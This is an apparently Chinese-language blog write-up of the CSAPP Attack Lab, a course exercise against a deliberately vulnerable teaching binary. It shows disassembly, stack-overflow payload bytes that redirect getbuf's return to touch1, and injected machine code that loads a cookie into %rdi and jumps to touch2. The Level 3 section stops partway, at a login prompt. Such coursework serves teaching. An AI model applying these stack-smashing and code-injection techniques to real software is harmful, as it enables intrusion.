Erlo

CSAPP Attack Lab详解

2022-10-29 17:30:01 发布   368 浏览  
页面报错/反馈
收藏 点赞

Attack Lab

参考手册

一共六个文件

  • cookie.txt 一个8位16进制数,作为攻击的特殊标志符

  • farm.cROP攻击中作为gadgets的产生源

  • ctarget 代码注入攻击的目标文件

  • rtarget ROP攻击的目标文件

  • hex2row 将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符

Level 1

对于第一阶段,我们并不需要进行代码注入,我们需要做的就是劫持程序流,将函数的正常返回地址给重写,将函数重定向到我们指定的特定函数。在这个阶段中,我们要重定向到touch1函数。

首先利用objdump -d ctarget > ctarget_asm得到ctarget的汇编代码文件

0000000000401968 :
  401968:       48 83 ec 08             sub    $0x8,%rsp    ; 扩展栈空间
  40196c:       b8 00 00 00 00          mov    $0x0,%eax    
  401971:       e8 32 fe ff ff          callq  4017a8    ; test函数中调用了getbuf
  401976:       89 c2                   mov    %eax,%edx	; edx = eax
  401978:       be 88 31 40 00          mov    $0x403188,%esi  
  40197d:       bf 01 00 00 00          mov    $0x1,%edi
  401982:       b8 00 00 00 00          mov    $0x0,%eax
  401987:       e8 64 f4 ff ff          callq  400df0 <__printf_chk> ; 调用 printf 打印信息
  40198c:       48 83 c4 08             add    $0x8,%rsp
  401990:       c3                      retq
  401991:       90                      nop
00000000004017a8 :
  4017a8:       48 83 ec 28             sub    $0x28,%rsp   ; 扩展栈空间40字节  分配了四十个字节的栈帧
  4017ac:       48 89 e7                mov    %rsp,%rdi    ; rdi = rsp
  4017af:       e8 8c 02 00 00          callq  401a40  ; 调用Gets函数  rdi为该函数的第一个参数
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax    ; eax = 1  函数返回1
  4017b9:       48 83 c4 28             add    $0x28,%rsp   
  4017bd:       c3                      retq
  4017be:       90                      nop
  4017bf:       90                      nop
00000000004017c0 :   ; touch1的返回地址为0x4017c0
  4017c0:       48 83 ec 08             sub    $0x8,%rsp
  4017c4:       c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc 
  4017cb:       00 00 00
  4017ce:       bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:       e8 e8 f4 ff ff          callq  400cc0 
  4017d8:       bf 01 00 00 00          mov    $0x1,%edi
  4017dd:       e8 ab 04 00 00          callq  401c8d 
  4017e2:       bf 00 00 00 00          mov    $0x0,%edi
  4017e7:       e8 54 f6 ff ff          callq  400e40 

image-20221025233958238

touch1的地址为0x4017c0,这里我们选择将输入的数据写到ctarget1.txt文件中,用hex2raw来生成字节码,

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00        先用垃圾数据覆盖40个字节的栈空间
c0 17 40 00 00 00 00 00		   最后填入touch1的地址来覆盖getbuf()函数的返回地址   注意x86_64是小端序存储

执行命令./hex2raw

  • ./hex2raw 是利用hex2raw工具将我们的输入看作字节级的十六进制表示进行转化,用来生成攻击字符串
  • |表示管道,将转化后的输入文件作为ctarget的输入参数
  • 由于执行程序会默认连接 CMU 的服务器,-q表示取消这一连接

可以看到第一关就通过了:image-20221025234801121

Level 2

第二阶段,我们需要做的就是在输入字符串中注入一小段代码。其实整体的流程还是getbuf中输入字符,然后拦截程序流,跳转到调用touch2函数。首先,我们先查看一遍touch2函数所做事情:level2需要调用的touch2函数有一个unsighed型的参数,而这个参数就是lab提供的cookie。所以,这次我们在rettouch2之前,需要先把cookie放在寄存器%rdi中(第一个参数通过%rdi传递)。

00000000004017ec :
  4017ec:       48 83 ec 08             sub    $0x8,%rsp
  4017f0:       89 fa                   mov    %edi,%edx
  4017f2:       c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc 
  4017f9:       00 00 00
  4017fc:       3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 
  401802:       75 20                   jne    401824 
  401804:       be e8 30 40 00          mov    $0x4030e8,%esi
  401809:       bf 01 00 00 00          mov    $0x1,%edi
  40180e:       b8 00 00 00 00          mov    $0x0,%eax
  401813:       e8 d8 f5 ff ff          callq  400df0 <__printf_chk>
  401818:       bf 02 00 00 00          mov    $0x2,%edi
  40181d:       e8 6b 04 00 00          callq  401c8d 
  401822:       eb 1e                   jmp    401842 
  401824:       be 10 31 40 00          mov    $0x403110,%esi
  401829:       bf 01 00 00 00          mov    $0x1,%edi
  40182e:       b8 00 00 00 00          mov    $0x0,%eax
  401833:       e8 b8 f5 ff ff          callq  400df0 <__printf_chk>
  401838:       bf 02 00 00 00          mov    $0x2,%edi
  40183d:       e8 0d 05 00 00          callq  401d4f 
  401842:       bf 00 00 00 00          mov    $0x0,%edi
  401847:       e8 f4 f5 ff ff          callq  400e40 
void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)n", val);
        fail(2);
    }
    exit(0);
}
  • 将正常的返回地址设置为你注入代码的地址,本次注入直接在栈顶注入,所以即返回地址设置为%rsp的地址
  • cookie值移入到%rdi%rdi是函数调用的第一个参数
  • 获取touch2的起始地址
  • 想要调用touch2,而又不能直接使用call,jmp等指令,所以只能使用ret改变当前指令寄存器的指向地址。ret是从栈上弹出返回地址,所以在此之前必须先将touch2的地址压栈

注意此程序gdb的使用,不能直接gdb ctarget,需要先输入gdb,然后利用file ctarget打开对应的文件,或者gdb ctarget,然后下断点b getbuf,然后输入run -q

image-20221026081720305

首先将我们要注入的指令写在level2_exp.s中,0x59b997fa就是cookie.txt中的值

movq $0x59b997fa, %rdi
pushq $0x4017ec
ret

然后将.s文件转换成计算机可执行的指令系列gcc -c level2_exp.s,查看level2_exp.o文件的反汇编

level2_exp.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec     push指令先sub 8, %rsp 然后 movq $0x4017ec, %rsp
   c:   c3                      retq                 ret指令 pop %eip,此时rsp存储的就是touch2的地址,就跳转到了touch2

将对应的机器指令写在level2_exp.txt中,这里解释一下,push指令后跟寄存器,表示将寄存区的值存储到rsp指向的内存单元中,push imm表示将立即数存放到rsp中而不是它所指的内存单元。

push 1 相当于 mov M[esp], 1 sub esp, 4 push ebp 相当于 mov M[esp], ebp sub esp, 4
call func 相当于 push 0x40117e(eip+硬编码长度) push指令又会将esp - 4

然后我们需要获取%rsp的地址,为什么要获取%rsp呢,因为此关我们是通过向栈中写入我们注入指令的指令序列,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp的地址,整个流程就是: getbuf => ret => 0x5561dc78 => mov $0x59b997fa, %rdi => ret => 0x4017ec

image-20221026085737387

image-20221026085440677

rsp保存的是test栈帧的返回地址,上面是高地址所以我们要注入的指令如下,注意小端序,

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00  前面的字节时我们注入的  之后用垃圾数据填充栈中剩余的字节
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00   40字节   4 * 10
78 dc 61 55 00 00 00 00 00 00   0x5561dc78 即为我们要返回的我们注入的字节的地址  即执行 sub rsp,0x28后的结果

最后执行./hex2raw 即可通过level2

image-20221026090251672

Level 3

00000000004018fa :
  4018fa:       53                      push   %rbx
  4018fb:       48 89 fb                mov    %rdi,%rbx
  4018fe:       c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc 
  401905:       00 00 00
  401908:       48 89 fe                mov    %rdi,%rsi
  40190b:       8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 
  401911:       e8 36 ff ff ff          callq  40184c           # 调用了 hexmatch
  401916:       85 c0                   test   %eax,%eax
  401918:       74 23                   je     40193d  # 如果不匹配的话 跳转到 0x40193d
  40191a:       48 89 da                mov    %rbx,%rdx
  40191d:       be 38 31 40 00          mov    $0x403138,%esi
  401922:       bf 01 00 00 00          mov    $0x1,%edi
  401927:       b8 00 00 00 00          mov    $0x0,%eax
  40192c:       e8 bf f4 ff ff          callq  400df0 <__printf_chk>
  401931:       bf 03 00 00 00          mov    $0x3,%edi
  401936:       e8 52 03 00 00          callq  401c8d 
  40193b:       eb 21                   jmp    40195e 
  40193d:       48 89 da                mov    %rbx,%rdx
  401940:       be 60 31 40 00          mov    $0x403160,%esi
  401945:       bf 01 00 00 00          mov    $0x1,%edi
  40194a:       b8 00 00 00 00          mov    $0x0,%eax
  40194f:       e8 9c f4 ff ff          callq  400df0 <__printf_chk>
  401954:       bf 03 00 00 00          mov    $0x3,%edi
  401959:       e8 f1 03 00 00          callq  401d4f 
  40195e:       bf 00 00 00 00          mov    $0x0,%edi
  401963:       e8 d8 f4 ff ff          callq  400e40 
void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3("%s")n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3("%s")n", sval);
        fail(3);
    }
    exit(0);
}
000000000040184c :
  40184c:       41 54                   push   %r12
  40184e:       55                      push   %rbp
  40184f:       53                      push   %rbx
  401850:       48 83 c4 80             add    $0xffffffffffffff80,%rsp  # 其实是-0x80的补码 相当于开辟了128字节空间
  401854:       41 89 fc                mov    %edi,%r12d
  401857:       48 89 f5                mov    %rsi,%rbp
  40185a:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  401861:       00 00
  401863:       48 89 44 24 78          mov    %rax,0x78(%rsp)
  401868:       31 c0                   xor    %eax,%eax
  40186a:       e8 41 f5 ff ff          callq  400db0 
  40186f:       48 89 c1                mov    %rax,%rcx
  401872:       48 ba 0b d7 a3 70 3d    movabs $0xa3d70a3d70a3d70b,%rdx
  401879:       0a d7 a3
  40187c:       48 f7 ea                imul   %rdx
  40187f:       48 01 ca                add    %rcx,%rdx
  401882:       48 c1 fa 06             sar    $0x6,%rdx
  401886:       48 89 c8                mov    %rcx,%rax
  401889:       48 c1 f8 3f             sar    $0x3f,%rax
  40188d:       48 29 c2                sub    %rax,%rdx
  401890:       48 8d 04 92             lea    (%rdx,%rdx,4),%rax
  401894:       48 8d 04 80             lea    (%rax,%rax,4),%rax
  401898:       48 c1 e0 02             shl    $0x2,%rax
  40189c:       48 29 c1                sub    %rax,%rcx
  40189f:       48 8d 1c 0c             lea    (%rsp,%rcx,1),%rbx
  4018a3:       45 89 e0                mov    %r12d,%r8d
  4018a6:       b9 e2 30 40 00          mov    $0x4030e2,%ecx
  4018ab:       48 c7 c2 ff ff ff ff    mov    $0xffffffffffffffff,%rdx
  4018b2:       be 01 00 00 00          mov    $0x1,%esi
  4018b7:       48 89 df                mov    %rbx,%rdi
  4018ba:       b8 00 00 00 00          mov    $0x0,%eax
  4018bf:       e8 ac f5 ff ff          callq  400e70 <__sprintf_chk>
  4018c4:       ba 09 00 00 00          mov    $0x9,%edx
  4018c9:       48 89 de                mov    %rbx,%rsi
  4018cc:       48 89 ef                mov    %rbp,%rdi
  4018cf:       e8 cc f3 ff ff          callq  400ca0   # 调用 strncmp 函数比较字符串
  4018d4:       85 c0                   test   %eax,%eax
  4018d6:       0f 94 c0                sete   %al
  4018d9:       0f b6 c0                movzbl %al,%eax
  4018dc:       48 8b 74 24 78          mov    0x78(%rsp),%rsi
  4018e1:       64 48 33 34 25 28 00    xor    %fs:0x28,%rsi
  4018e8:       00 00
  4018ea:       74 05                   je     4018f1 
  4018ec:       e8 ef f3 ff ff          callq  400ce0 <__stack_chk_fail>
  4018f1:       48 83 ec 80             sub    $0xffffffffffffff80,%rsp  # 这里相当于将 rsp减去了一个数 
  4018f5:       5b                      pop    %rbx
  4018f6:       5d                      pop    %rbp
  4018f7:       41 5c                   pop    %r12
  4018f9:       c3                      retq
int hexmatch(unsigned val, char *sval){
    char cbuf[110];  // 
    char *s = cbuf + random() % 100;  // 这句代码说明了 s 的位置是随机的  所以我们不应该把我们输入的shellcode放在hexmatch的栈帧中,应该将其放在父栈帧中,也就是test栈帧
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

和Level 2 一样touch3也需要传入cookie但是要求以字符串的形式传入。和Level 2的区别是touch3的参数是cookie的字符串地址, 寄存器%rdi存储cookie字符串的地址。所以我们还需要将Cookie的内容存到指定的内存地址,字符串存到内存中都是以ASCII码形式存储的,所以需要将Cookie的值0x59b997fa转为ASCII

Some Advice

  • 在C语言中字符串是以

登录查看全部

参与评论

评论留言

还没有评论留言,赶紧来抢楼吧~~

手机查看

返回顶部

给这篇文章打个标签吧~

棒极了 糟糕透顶 好文章 PHP JAVA JS 小程序 Python SEO MySql 确认